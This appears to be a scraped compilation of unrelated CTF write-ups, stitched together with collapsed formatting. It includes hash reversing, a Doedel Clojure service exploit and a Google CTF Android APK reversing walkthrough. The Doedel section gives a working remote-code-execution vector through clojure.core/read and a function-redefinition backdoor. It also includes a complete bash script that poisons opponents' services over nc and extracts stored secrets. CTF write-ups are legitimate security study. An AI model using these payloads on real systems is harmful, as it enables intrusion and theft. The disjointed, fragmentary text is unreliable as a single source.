(i=0;i<32;i++){ uint p=password[i]; uint r=(i*3)&7; p=(p<<r)|(p>>(8-r)); p&=0xff; h^=p; } final^=(h|(h<<8)|(h<<16)|(h<<24)); hash[idx]=final; state[idx]=2; memoryBarrierShared();}```
Yep, it seems to be calculating a handmade hash of the password. It first calculates a `hash_alpha` or `hash_beta` of a single character, then makes some additional xors withcurrent character index, and then xors it with a simple 8-byte hash `h` of the whole password.The final result is copied into the output buffer (`hash`).
The main binary runs this program and then compares the result to a hardcoded string. It seemswe need to reverse engineer the hash algorithm then. Fortunately, it's pretty simple.We can brute force the 8-byte hash of the whole password, and then separately brute force each character, every time checking whether the corresponding hash bytes match up.
The whole code of the solver is in `sim.py`. |
Javascript "sandbox" escape, and tricking a promise into not terminating a webworker.
[https://gist.github.com/itsZN/9e07180b536b464ec57dcbf4e6fb479f](https://gist.github.com/itsZN/9e07180b536b464ec57dcbf4e6fb479f) |
The basic idea is to calculate the CRC for the all-zeros ASCII string, and the remainders for each of the possible positions where the correct string might differ, and then solve a system of linear equations modulo 2. |
## Intro
Doedel was a service running on ports 1666 and 1667. In the service folder only twofiles were present - a readme and a jar. The abbreviated version of the readme is as follows:
```markdowm## Data Format
All messages are encoded in Extensible Data Notation(see https://github.com/edn-format/edn).All requests are hashes containing at least a :request-type.All responses are also hashes, containing at least a :response-type.
## Interfaces
On port 1666 the devices interface with the serverand on port 1667 status reports can be requested.
```
## Cursory analysis
Unzipping the jar gets us a number of .class, .xml and .clj(s) files, which can be quickle identified as being a Clojure project. Thus our main information sources for this task are the [official website](https://clojure.org) and [clojuredocs](https://clojuredocs.org/). Also, some members of our team quickly recall a clojure service that was present during the Volgactf 2015 finals ([writeup 1](https://github.com/VolgaCTF/volgactf-2015-finals-sequencer-service/blob/master/VULNS.md), [writeup 2]()).
The custom code can be found in doedel subdir, both the compiled classfiles and the clj sources. The main entrypoint is core.clj with the following code:
```clj(ns doedel.core (:require [doedel.status :as status] [doedel.data :as data] [doedel.util :as util] [clojure.core.async :refer :all]) (:gen-class))
(defn -main [& args] (go (data/data-handler 1666)) (go (status/status-handler 1667)) (loop [] (Thread/sleep Long/MAX_VALUE) (recur)))```
So indeed, we have two listeners (data/data-handler and status/status-handler) on ports 1666 and 1667 respectively.
## Handler code
Both the status-handler and the data-handler have a similar source code (status.clj and data.clj respectively):
```clj(ns doedel.whatever (:use clojure.edn) (:require [doedel.util :as util]) (:import [java.net InetAddress]))
(defn whatever-handler [port] (let [hostname (.getHostName (InetAddress/getLocalHost))] (letfn [(handler-fn [input-reader output-writer] ; here we define a function that takes input and output writers as parameters (let [request (read input-reader)] ; here goes the code that handles the request )) ]
(util/handler handler-fn port)))) ; we pass this function to util/handler; util/handler is just an socket listener that accepts connections and spawns handler-fns for each of them.```
As we can see, the input strings are read using [clojure.edn/read](https://clojuredocs.org/clojure.edn/read), a safe variant of the clojure source code parser. Well, really is is a [Extensible data notation](https://github.com/edn-format/edn) parser, which is relate to clojure code like JSON is related to javascript. Remember the old bugs where unknowing js developers would parse JSON using eval instead of JSON.parse, resulting in XSS or code exec? Well, clojure also has an unsafe alternative to clojure.edn/read, namely the [clojure.core/read](https://clojuredocs.org/clojure.core/read). The docs even conveniently contain an usable exploit for clojure.core/read:
```clj(read-string "#=(clojure.java.shell/sh \"echo\" \"hi\")") ; {:exit 0, :out "hi\n", :err ""}```
Alright, but we do not use clojure.core/read, right? Right?
## Decompiling and finding the vuln
While looking through the data.clj code we can notice that some parts of the code are missing:
```clj(defn get-patterns [input output-writer] ;; TODO )
(defn data-transmission [input out-put] ;; TODO )```
We also know that .clj files in the jar are not executed, but were included only as a reference. That means that we have to decompile the class files and look at them as well!
My first tool of choice for java decompilation is jd-core, but in this case it fails to decompile the code into readable java. In this cases I use [CFR](http://www.benf.org/other/cfr/) which is dramatically slower, but produces very high quality results. Decompiling the status-handler code (status$status_handler$handler_fn__6356.class), we get the following start:
```javapublic final class status$status_handler$handler_fn__6356extends AFunction { Object hostname; public static final Var const__0 = RT.var((String)"clojure.core", (String)"read"); // WTFOMG!? public static final Var const__1 = RT.var((String)"clojure.core", (String)"spit"); public static final Keyword const__4 = RT.keyword((String)null, (String)"status"); public static final AFn const__5 = (AFn)RT.map((Object[])new Object[]{RT.keyword((String)null, (String)"request-type"), RT.keyword((String)null, (String)"status")}); public static final Var const__6 = RT.var((String)"clojure.core", (String)"str"); public static final Keyword const__7 = RT.keyword((String)null, (String)"response-type"); public static final Keyword const__8 = RT.keyword((String)null, (String)"clojure-version"); public static final Var const__9 = RT.var((String)"clojure.core", (String)"clojure-version"); public static final Keyword const__10 = RT.keyword((String)null, (String)"hostname"); public static final Keyword const__11 = RT.keyword((String)null, (String)"banner"); public static final AFn const__13 = (AFn)RT.map((Object[])new Object[]{RT.keyword((String)null, (String)"response-type"), RT.keyword((String)null, (String)"error")});```
Bingo! The status-handler actually uses unsafe clojure.core/read, we found the hole. Btw, the data-handler was safe.
## Exploitation
The flags for this service are store in an in-memory hash, so in order to steal them we have to write and execure some clojure code that gets the values we need from memory. The vulnerability also can be leveraged to gain a classic RCE which we used to steal flags for other services (some of them stored the flags in filesystem with lax permissions). The latter is actually a much easier task, so we will do that first
### Gaining RCE
For some reason, the exploit fro the docs (lol!) didn't work for us. We threw together a quick testbed and after a couple of failed attempts came with the following vector:
```clj#=(eval (. (java.lang.Runtime/getRuntime) exec (into-array ["bash" "-c" "the command goes here"]) ))```
The #= part directs the clojure reader to use a macro from another table [read more](https://yobriefca.se/blog/2014/05/19/the-weird-and-wonderful-characters-of-clojure/). Detailed explaination of the inner workings of this thing is beyond the scope of this writeup, but #=(eval (CLOJURE CODE HERE) ) is the ultimate way to execute clojure code that worked for us.
The output of the exec is not shown, so a backconnect is needed.
### Reading flags from memory
This was the more tricky part. Lets look at the data handler:
```clj(def ^:dynamic *users*); SNIP(defn data-handler [port] (binding [*users* (atom {})] ; create a locally-scoped bind (letfn [(handler-fn [input-reader output-writer] (let [input (read input-reader) {:keys [request-type]} input] (when request-type (case request-type :register-user (register-user input output-writer) :get-patterns (get-patterns input output-writer) :send-data (data-transmission input output-writer) :get-best-pattern (fun-time input output-writer) (.write output-writer (str {:response-type :error}))))))] (util/handler handler-fn port))))```
The data that we need is stored inside the users atom, which is bound inside the data-handler. That means that only the code inside data-handler can have access to its value. We have code exec in the context of status-handler, which is out of scope. This means that there is no (legal) way to access the data we need.
Luckily enough there are some methods to overcome this limitation. One possible solution would be to call some java methods and find the place that stores this bound variables, but this requires a lot of research. We chose to redefine functions that are being called inside data-handler (we chose fun-time), and then call them using a separate connection.
The final vector looked as follows:
```clj#=( eval ( ; alter-var-root is the way to redefine a symbol in a way that is visible for all threads. alter-var-root #'doedel.data/fun-time ; its first arg is the name of the symbol we want to redefine (fn [x] ; the second arg is the func that, when called with the old symbol value as an arg (fn [input output-writer] ; will return the new definition of the symbol, ;in this case a function with the same signature as the one that we redefine ; that outputs the secret data when called with our 'secret' username (let [user-id (:user-id input)] (if (.equals user-id "supersecret per-command string") (.write output-writer (str @doedel.data/*users*) ) () ) ) ; and then calls the original function (x input output-writer) ) ) ))```
The exploit looked as follows:
```bash#!/bin/bash -xIP=$1
function update(){ # poisons the func, need to be run once per team user=`dd if=/dev/urandom bs=512 count=1 2>/dev/null | md5sum | awk '{print $1}'` echo $user > $IP.txt echo '#=( eval ( alter-var-root #'"'"'doedel.data/fun-time ( fn [x] (fn [input output-writer] (let [user-id (:user-id input)] (if (.equals user-id "'$user'") (.write output-writer (str @doedel.data/*users*) ) () ) ) (x input output-writer) ) ) ) )' | nc $IP 1667}
count=2function expl(){ count=$(($count -1 )) if [ $count -eq 0 ]; then echo "Fail" exit fi if [ -e $IP.txt ] ; then # if we have a stored username for the team, use it username=`cat $IP.txt` else # Otherwise, poison the team and use the new username update username=`cat $IP.txt` fi result=`echo '{:request-type :get-best-pattern, :user-id "'$username'" }' | nc $IP 1666` if echo $result | grep -oq FAUST_ ; then # If the backdoor worked, sweet echo $result else # if not, this might mean that the team restarted the service, repeat the poisoning update expl fi}
expl
```
## Patch
The status endpoint simply outputs a constant banner, so we reimplemented it using some python, and the used some iptables rules to redirect traffic from port 1667 to our safe implementation |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>write-ups</span></span></span><span>/</span><span><span>Secuinside 2017</span></span><span>/</span>ohce<span>/</span> </div> </div>
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# [Google CTF 2017](https://capturetheflag.withgoogle.com) : Food
*Note, that this writeup had been chosen as a[winner and rewarded writeup](https://drive.google.com/drive/folders/0BwMPuUHZOj0nWUdlSkZtU1dEeHM)by Google. ;)*
**Category:** Reversing**Points:** 191 (dynamic)**Solves:** 55**Difficulty:** Medium**Description:**
> Android is all about the desserts, but can you come up with the secret recipe to cook up a flag?> > * [food.apk](./food.apk)
## writeup
The challenge is a classical reverse engineering task. The attached .apkfile should contain the flag, but of course getting it is not straighforward.
For solving the challenge an up-to-date [Gentoo Linux](https://gentoo.org/)was used, but any other OS supporting the tools used below should work well.
The writeup below does not want to make the shortest path to the solution,but it wants to show details about Android hacking tools, introduction tostatic and dynamic analysis, and much more.
The challenge had been solved in the great team[OpenToAll](https://ctftime.org/team/9135).The team finished 30th in the competition.
### analyzing the apk
First (before trying to install and run the apk), it is worth analyzingthe apk with a recent [Apktool](https://ibotpeaches.github.io/Apktool/):
```$ apktool d food.apkI: Using Apktool 2.2.2 on food.apkI: Loading resource table...I: Decoding AndroidManifest.xml with resources...I: Loading resource table from file: /home/istvan/.local/share/apktool/framework/1.apkI: Regular manifest package...I: Decoding file-resources...I: Decoding values */* XMLs...I: Baksmaling classes.dex...I: Copying assets and libs...I: Copying unknown files...I: Copying original files...```
Analyzing the extracted files, we can find a native lib`libcook.so` with two versions in subdirs of lib, an `x86` andan `armeabi` version. (We may hope that the libraries are thesame, so we can use an x86 Android emulator for dealing with the apklater and drop any arm related stuff. This is much faster on anx86 host, so this makes our life much easier.)
According to the file `AndroidManifest.xml`, the starting activityof the apk is `com.google.ctf.food.FoodActivity`.
Apktool disassembles the `classes.dex` bytecode file and organizesthe disassembled `.smali` files under the dir `smali`. There is noother interesting folder than `smali/com/google/ctf/food`. The`.smali` code for FoodActivity is in the `FoodActivity.smali` file:
```smali.class public Lcom/google/ctf/food/FoodActivity;.super Landroid/support/v7/app/AppCompatActivity;.source "FoodActivity.java"
# static fields.field public static activity:Landroid/app/Activity;
# direct methods.method public constructor <init>()V .locals 0
.prologue .line 7 invoke-direct {p0}, Landroid/support/v7/app/AppCompatActivity;-><init>()V
return-void.end method
# virtual methods.method protected onCreate(Landroid/os/Bundle;)V .locals 1 .param p1, "savedInstanceState" # Landroid/os/Bundle;
.prologue .line 13 invoke-super {p0, p1}, Landroid/support/v7/app/AppCompatActivity;->onCreate(Landroid/os/Bundle;)V
.line 14 const v0, 0x7f040019
invoke-virtual {p0, v0}, Lcom/google/ctf/food/FoodActivity;->setContentView(I)V
.line 15 sput-object p0, Lcom/google/ctf/food/FoodActivity;->activity:Landroid/app/Activity;
.line 16 const-string v0, "cook"
invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
.line 17 return-void.end method```
After getting familiar with[basic smali syntax](http://androidcracking.blogspot.hu/2010/09/examplesmali.html)and [Dalvik bytecodes](https://source.android.com/devices/tech/dalvik/dalvik-bytecode),it is easy to see that FoodActivity does nothing butloads the library `libcook.so`.
So the interesting part is surely in `libcook.so`.
### setting up a vm
Before continuing with deeper static analysis, it is worth to tryrunning the apk in some safe and controllable environment, e.g.in an emulator.
Because we have an x86 compatible host and the apk (with native libs)seems to support x86, using an x86 emulator should be the bestoption.
Using the official Android emulator provided by Google is preferred.Note, that android-sdk-update-manager is deprecated, using thetools supplied with[Android Studio](https://developer.android.com/studio/index.html) >=2.3 is recommended.
On Gentoo:```# emerge dev-util/android-studio```
First run of the installed Android Studio will download basicupdated Sdk tools to `~/Android/Sdk`. Next,[get](https://developer.android.com/studio/command-line/sdkmanager.html)an x86 based systemimage (at least API level 23 according to `AndroidManifest.xml`) and[create](https://developer.android.com/studio/command-line/avdmanager.html)a dedicated[Android Virtual Device](https://developer.android.com/studio/run/managing-avds.html)for the challenge, then[launch the emulator](https://developer.android.com/studio/run/emulator-commandline.html)and[install](https://developer.android.com/studio/command-line/adb.html#move)the apk:```$ ~/Android/Sdk/tools/bin/sdkmanager 'system-images;android-25;google_apis;x86'$ ~/Android/Sdk/tools/bin/avdmanager create avd -n food -k 'system-images;android-25;google_apis;x86'$ ~/Android/Sdk/tools/emulator @food -skin 480x600$ ~/Android/Sdk/platform-tools/adb install food.apk```
Now running the apk should be possible through the emulator console,but unfortunately it crashes. Some minor information about the crashcan be obtained by reading the logs:```$ adb logcat
...06-22 00:08:47.708 1496 1800 I ActivityManager: Start proc 2862:com.google.ctf.food/u0a71 for activity com.google.ctf.food/.FoodActivity...06-22 00:08:48.266 2862 2862 D AndroidRuntime: Shutting down VM06-22 00:08:48.266 1496 1941 D ActivityManager: cleanUpApplicationRecord -- 2361--------- beginning of crash06-22 00:08:48.266 2862 2862 E AndroidRuntime: FATAL EXCEPTION: main06-22 00:08:48.266 2862 2862 E AndroidRuntime: Process: com.google.ctf.food, PID: 286206-22 00:08:48.266 2862 2862 E AndroidRuntime: java.lang.UnsatisfiedLinkError: JNI_ERR returned from JNI_OnLoad in "/data/app/com.google.ctf.food-1/lib/x86/libcook.so"06-22 00:08:48.266 2862 2862 E AndroidRuntime: at java.lang.Runtime.loadLibrary0(Runtime.java:989)06-22 00:08:48.266 2862 2862 E AndroidRuntime: at java.lang.System.loadLibrary(System.java:1530)06-22 00:08:48.266 2862 2862 E AndroidRuntime: at com.google.ctf.food.FoodActivity.onCreate(FoodActivity.java:16)06-22 00:08:48.266 2862 2862 E AndroidRuntime: at android.app.Activity.performCreate(Activity.java:6679)06-22 00:08:48.266 2862 2862 E AndroidRuntime: at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1118)06-22 00:08:48.266 2862 2862 E AndroidRuntime: at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2618)06-22 00:08:48.266 2862 2862 E AndroidRuntime: at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2726)06-22 00:08:48.266 2862 2862 E AndroidRuntime: at android.app.ActivityThread.-wrap12(ActivityThread.java)06-22 00:08:48.266 2862 2862 E AndroidRuntime: at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1477)06-22 00:08:48.266 2862 2862 E AndroidRuntime: at android.os.Handler.dispatchMessage(Handler.java:102)06-22 00:08:48.266 2862 2862 E AndroidRuntime: at android.os.Looper.loop(Looper.java:154)06-22 00:08:48.266 2862 2862 E AndroidRuntime: at android.app.ActivityThread.main(ActivityThread.java:6119)06-22 00:08:48.266 2862 2862 E AndroidRuntime: at java.lang.reflect.Method.invoke(Native Method)06-22 00:08:48.266 2862 2862 E AndroidRuntime: at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:886)06-22 00:08:48.266 2862 2862 E AndroidRuntime: at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:776)06-22 00:08:48.274 1496 2058 W ActivityManager: Force finishing activity com.google.ctf.food/.FoodActivity```
So the apk starts FoodActivity, tries to load `libcook.so`,and crashes in the init function `JNI_OnLoad` of the libraryby returning `JNI_ERR`.
### static analysis
Now it is time to do some static analyisis on `libcook.so`.Let us choose the x86 version.
```$ file food/lib/x86/libcook.sofood/lib/x86/libcook.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped, with debug_info```
Although [IDA](https://www.hex-rays.com/products/ida/) is therecommended disassembler tool for anything, [r2](http://www.radare.org/r/)is more than enough for this task now.
```$ r2 food/lib/x86/libcook.so [0x000005c0]> aa[x] Analyze all flags starting with sym. and entry0 (aa)[0x000005c0]> afl0x000004d0 2 16 -> 48 sym.imp.__stack_chk_fail0x000004e0 2 16 -> 48 sym.imp.__cxa_finalize0x000004f0 2 16 -> 48 sym.imp.malloc0x00000500 2 16 -> 48 sym.imp.fopen0x00000510 2 16 -> 48 sym.imp.strstr0x00000520 2 16 -> 48 sym.imp.fgets0x00000530 2 16 -> 48 sym.imp.fclose0x00000540 2 16 -> 48 sym.imp.sysconf0x00000550 2 16 -> 48 sym.imp.strtoul0x00000560 2 16 -> 48 sym.imp.mprotect0x00000570 2 16 -> 48 sym.imp.dlopen0x00000580 2 16 -> 48 sym.imp.mkdir0x00000590 2 16 -> 48 sym.imp.fwrite0x000005a0 2 16 -> 48 sym.imp.remove0x000005b0 2 16 -> 48 sym.imp.rmdir0x000005c0 1 36 entry00x00000670 1 4 fcn.000006700x00000680 4 137 fcn.000006800x00000710 21 971 -> 957 fcn.000007100x00000950 1 395 fcn.000009500x00000ae0 7 2737 sym.JNI_OnLoad```
By a quick look at the disassembled code of `JNI_OnLoad` and the function at 680(`pdf @sym.JNI_OnLoad`, `pdf @fcn.00000680`) we can get the following:
* `JNI_OnLoad` uses obfuscated strings, the decoder function is `fcn.00000680`* the string decoder function `fcn.00000680` takes two args (on the stack):a bytearray length, and a bytearray (which is the encoded string data),and returns a ptr in eax pointing to the decoded string* JNI_OnLoad checks for some conditions, and jumps to 0x00001580 and returns-1 (JNI_ERR) in some cases.* thanks for dynamic linking, we can identify some calls easily, and guesswhat is going on: one check is related to open a library (dlopen),`JNI_OnLoad` tries to make a directory (`mkdir`),tries to open a file (`fopen`),tries to write data to file (`fwrite`, `fclose`), and thenprobably cleans up everything (`remove`, `rmdir`).
To understand more details, decoding the obfuscated strings is mandatory.
Here is the string decoder function `fcn.00000680` reversed andimplemented in Python:
```pythondef decode_string(data, size=-1): res = [] if size == -1: size = len(data) for i in range(size): v = map(ord, struct.pack("<I", data[i])) res.append(~((v[1] | ~v[0]) & (v[0] | ~v[1]))) res.append(((data[i] >> 16) ^ v[3]) & 0xff) return ''.join(map(chr, res))```
Now decoding the strings in `JNI_OnLoad` is possible.Made a [helper script](./decode_string.py) for easier and quicker processing:with this script we can copy&paste the appropriate disassembledcode from r2 and get the decoded string.
Here is a shot of the r2 session(analyzing, annotating calls, etc. in visual mode):
With the decoded strings we have a much more detailed overview of what is going on:
* the output file is `/data/data/com.google.ctf.food/files/d.dex`,so `JNI_OnLoad` tries to create a `.dex` file* this file is removed by JNI_OnLoad, but the contents remain in thememory* function `fcn.00000710` is called at the end of JNI_OnLoad (if thechecks passed)* `fcn.00000710` searches for memory region identified by `/d.dex` in`/proc/self/maps` and gets the base address* rewrites a block of the above memory region by some static datastored in `libcook.so` (xored by 0x5a)* invokes the class in `d.dex`
So we should try to get (the patched) `d.dex` somehow, and analyse it.
Although `d.dex` could be extracted by pure static analysis,now the time has come to do some dynamic debugging. ;)
### dynamic debugging
We should try to debug the native shared library `libcook.so` on theAndroid (virtual) device. The preferred method should be attaching[gdbserver](https://en.wikipedia.org/wiki/Gdbserver) to the processon Android and use [gdb](https://www.gnu.org/software/gdb/)on the host system.
Attaching gdbserver needs some preparation, because we cannot launchthe apk directly by gdbserver, and attaching is not trivial, because theapk exits from `JNI_OnLoad` (by `JNI_ERR`) in the native lib very quickly.
#### patching the apk
In order to attach gdbserver, we have to force the apk to wait for a shorttime before loading the library. This can be done easily by patching theapk:
* unpack and disassemble with [Apktool](https://ibotpeaches.github.io/Apktool/)* patch `food/smali/com/google/ctf/food/FoodActivity.smali` by adding a callto [android.os.SystemClock.sleep(0x8000)](https://developer.android.com/reference/android/os/SystemClock.html)before the `java.lang.System.loadLibrary("cook")` call forcing the app to wait for0x8000 ms (~32 secs) which makes it possible to attach gdbserver* assemble and pack the apk with [Apktool](https://ibotpeaches.github.io/Apktool/)* and do not forget to sign the apk with[jarsigner](http://docs.oracle.com/javase/8/docs/technotes/tools/unix/jarsigner.html)(and [keytool](http://docs.oracle.com/javase/8/docs/technotes/tools/unix/keytool.html)) found in[JDK](https://docs.oracle.com/javase/8/docs/technotes/tools/index.html#security).
The steps to perform in details:```$ apktool d food.apk$ sed -e '24 s/\.locals 1/.locals 2/' \ -e '38 i \\n const-wide/32 v0, 0x8000' \ -e '38 i \ invoke-static {v0, v1}, Landroid/os/SystemClock;->sleep(J)V' \ -i food/smali/com/google/ctf/food/FoodActivity.smali$ apktool b food$ cp ./food/dist/food.apk ./food-sleep.apk$ keytool -genkey -alias food -keystore googlectf2017.keystore$ jarsigner -keystore googlectf2017.keystore food-sleep.apk food```
Now `food-sleep.apk` is ready for installing and attaching gdbserver.
#### attaching gdb
Launch the emulator (if it is not running):```$ ~/Android/Sdk/tools/emulator @food -skin 800x600```
And install the apk (probably first uninstalling the previousone is needed, because it has different signature):```$ ~/Android/Sdk/platform-tools/adb uninstall com.google.ctf.food$ ~/Android/Sdk/platform-tools/adb install food-sleep.apk```
For remote (host->vm) debugging, forward local 4444/tcp port to4444/tcp on the vm, start the app (directly on vm console or using cmdline[activity manager](https://developer.android.com/studio/command-line/adb.html#am))and attach gdbserver quickly (in 30 secs) to catch the app running:```$ ~/Android/Sdk/platform-tools/adb forward tcp:4444 tcp:4444$ ~/Android/Sdk/platform-tools/adb shell am start com.google.ctf.food/com.google.ctf.food.FoodActivityStarting: Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] cmp=com.google.ctf.food/.FoodActivity }$ ~/Android/Sdk/platform-tools/adb shell su root 'gdbserver --attach :4444 `pidof com.google.ctf.food`'```
If everything is ok, gdbserver on the vm should control the Android appand is ready to connect. Run gdb on the host:
```$ gdb -ex 'target remote :4444'```
Now debugging should work. Note, that we are still in the Dalvik VM(or more precisely, in the[Android Runtime](https://en.wikipedia.org/wiki/Android_Runtime)env), we have to jump to the native library:
```gef➤ break JNI_OnLoad Breakpoint 1 at 0xa4112a74 (6 locations)gef➤ continueContinuing.Reading /data/app/com.google.ctf.food-1/lib/x86/libcook.so from remote target...
Breakpoint 1, 0xa7e28ae0 in JNI_OnLoad () from target:/data/app/com.google.ctf.food-1/lib/x86/libcook.so──────────────────────────────────────────────────────────────────────[ registers ]────$eax : 0xae3fd440 → 0x00000000$ebx : 0xae3fbb74 → 0x0073aa74$ecx : 0x00590000$edx : 0x00000000$esp : 0xbf899d3c → 0xae0555a1 → <art::JavaVMExt::LoadNativeLibrary(_JNIEnv*,+0> mov edi, eax$ebp : 0xbf899e48 → 0xbf899eb8 → 0xbf899ed8 → 0x70b74187 → <java.lang.Runtime.doLoad+147> pop eax$esi : 0xae4b00c0 → 0xae3f4814 → 0x00000000$edi : 0xa7e28ae0 → 0x53565755 ("UWVS"?)$eip : 0xa7e28ae0 → 0x53565755 ("UWVS"?)$cs : 0x00000073$ss : 0x0000007b$ds : 0x0000007b$es : 0x0000007b$fs : 0x0000003b$gs : 0x00000033$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]──────────────────────────────────────────────────────────────────────[ stack ]────0xbf899d3c│+0x00: 0xae0555a1 → <art::JavaVMExt::LoadNativeLibrary(_JNIEnv*,+0> mov edi, eax ← $esp0xbf899d40│+0x04: 0xae4b00c0 → 0xae3f4814 → 0x000000000xbf899d44│+0x08: 0x000000000xbf899d48│+0x0c: 0x000000000xbf899d4c│+0x10: 0xbf899e04 → 0xa55d9880 → 0x00000041 ("A"?)0xbf899d50│+0x14: 0xb26331d0 → "libcook.so"0xbf899d54│+0x18: 0xbf899f14 → 0x12c4b250 → 0x6fd85980 → 0x6fbcbf00 → 0x6fbcbf00 → [loop detected]0xbf899d58│+0x1c: 0xa68500c0 → 0xae3f4780 → 0xaddde850 → <art::Mutex::IsMutex()+0> push ebp────────────────────────────────────────────────────────────────────[ code:i386 ]──── 0xa7e28ad8 pop edi 0xa7e28ad9 pop ebp 0xa7e28ada ret 0xa7e28adb nop 0xa7e28adc lea esi, [esi+eiz*1+0x0] → 0xa7e28ae0 <JNI_OnLoad+0> push ebp 0xa7e28ae1 <JNI_OnLoad+1> push edi 0xa7e28ae2 <JNI_OnLoad+2> push esi 0xa7e28ae3 <JNI_OnLoad+3> push ebx 0xa7e28ae4 <JNI_OnLoad+4> call 0xa7e28670 0xa7e28ae9 <JNI_OnLoad+9> add ebx, 0x34cb───────────────────────────────────────────────────────────────────[ threads ]────[#0] Id 11, Name: "", stopped, reason: BREAKPOINT[#1] Id 10, Name: "", stopped, reason: BREAKPOINT[#2] Id 9, Name: "", stopped, reason: BREAKPOINT[#3] Id 8, Name: "", stopped, reason: BREAKPOINT[#4] Id 7, Name: "", stopped, reason: BREAKPOINT[#5] Id 6, Name: "", stopped, reason: BREAKPOINT[#6] Id 5, Name: "", stopped, reason: BREAKPOINT[#7] Id 4, Name: "", stopped, reason: BREAKPOINT[#8] Id 3, Name: "", stopped, reason: BREAKPOINT[#9] Id 2, Name: "", stopped, reason: BREAKPOINT[#10] Id 1, Name: "", stopped, reason: BREAKPOINT────────────────────────────────────────────────────────────────────[ trace ]────[#0] 0xa7e28ae0 → Name: JNI_OnLoad()[#1] 0xae0555a1 → Name: art::JavaVMExt::LoadNativeLibrary(_JNIEnv*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, _jobject*, _jstring*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >*)()[#2] 0xb24359f4 → Name: JVM_NativeLoad()[#3] 0xb241d157 → Name: Runtime_nativeLoad()[#4] 0x70b746a7 → Name: java.lang.Runtime.nativeLoad()[#5] 0x70b7419b → Name: java.lang.Runtime.doLoad()[#6] 0x70b75c65 → Name: java.lang.Runtime.loadLibrary0()[#7] 0x70b95212 → Name: java.lang.System.loadLibrary()[#8] 0xaddc9433 → Name: art_quick_invoke_static_stub()[#9] 0xaddd2dea → Name: art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)()────────────────────────────────────────────────────────────────────────────gef➤ ```
Using some GDB enhancement plugin such as [GEF](http://gef.readthedocs.io/en/latest/)is recommended.
#### debugging the native library
So the program flow is paused in the start of `libcook.so` at `JNI_OnLoad+0`.
First critical check seems to be after the `dlopen` call. Placing a breakpointon that call, we can see the arguments: `dlopen("libdvm.so", 0)`. The callreturns with 0 (unsuccessful), and the library exits with `JNI_ERR`.To override the conditional jump onthe `je` operand, we can set `$eip` to the next instruction, or simply clearthe zero flag (the 6th bit of `$eflags`):
```gef➤ set $eflags &= ~(1 << 6)```
The next call is `mkdir("/data/data/com.google.ctf.food/files/odex", 0b11100)`,then shortly afterwards`fopen("/data/data/com.google.ctf.food/files/d.dex", "wb")`.This will fail surely (and app exits again with JNI_ERR),because the parent dir `files` does not exist. Let us create it in ADB shell:
```$ ~/Android/Sdk/platform-tools/adb shellgeneric_x86:/ $ sugeneric_x86:/ # cd /data/data/com.google.ctf.foodgeneric_x86:/data/data/com.google.ctf.food # ls -altotal 40drwxr-x--x 4 u0_a71 u0_a71 4096 2017-06-22 22:59 .drwxrwx--x 94 system system 4096 2017-06-22 22:52 ..drwxrwx--x 2 u0_a71 u0_a71 4096 2017-06-22 22:52 cachedrwxrwx--x 2 u0_a71 u0_a71 4096 2017-06-22 22:52 code_cachelrwxrwxrwx 1 root root 39 2017-06-22 22:52 lib -> /data/app/com.google.ctf.food-1/lib/x86generic_x86:/data/data/com.google.ctf.food # mkdir filesgeneric_x86:/data/data/com.google.ctf.food # chown u0_a71:u0_a71 filesgeneric_x86:/data/data/com.google.ctf.food # ls -altotal 48drwxr-x--x 5 u0_a71 u0_a71 4096 2017-06-22 23:01 .drwxrwx--x 94 system system 4096 2017-06-22 22:52 ..drwxrwx--x 2 u0_a71 u0_a71 4096 2017-06-22 22:52 cachedrwxrwx--x 2 u0_a71 u0_a71 4096 2017-06-22 22:52 code_cachedrwxrwxrwx 2 u0_a71 u0_a71 4096 2017-06-22 23:01 fileslrwxrwxrwx 1 root root 39 2017-06-22 22:52 lib -> /data/app/com.google.ctf.food-1/lib/x86```
Unfortunately the `fopen` (and `mkdir`) call still fails.But now an interesting entry is created in the log:```06-22 23:05:57.338 3615 3615 W google.ctf.food: type=1400 audit(0.0:36): avc: denied { search } for name="files" dev="vdc" ino=8405 scontext=u:r:untrusted_app:s0:c512,c768 tcontext=u:object_r:app_data_file:s0 tclass=dir permissive=0```
This means that the[SELinux](https://en.wikipedia.org/wiki/Security-Enhanced_Linux)policy blocks accessing that folder. To understand, why:
```$ ~/Android/Sdk/platform-tools/adb shellgeneric_x86:/ $ sugeneric_x86:/ # ls -lZ /data/data/com.google.ctf.foodtotal 24drwxrwx--x 2 u0_a71 u0_a71 u:object_r:app_data_file:s0:c512,c768 4096 2017-06-22 22:52 cachedrwxrwx--x 2 u0_a71 u0_a71 u:object_r:app_data_file:s0:c512,c768 4096 2017-06-22 22:52 code_cachedrwxrwxrwx 2 u0_a71 u0_a71 u:object_r:app_data_file:s0 4096 2017-06-22 23:01 fileslrwxrwxrwx 1 root root u:object_r:app_data_file:s0 39 2017-06-22 22:52 lib -> /data/app/com.google.ctf.food-1/lib/x86generic_x86:/ # ps -Z `pidof com.google.ctf.food`LABEL USER PID PPID VSIZE RSS WCHAN PC NAMEu:r:untrusted_app:s0:c512,c768 u0_a71 3615 1297 990932 37496 ptrace_sto a250ae37 t com.google.ctf.food```
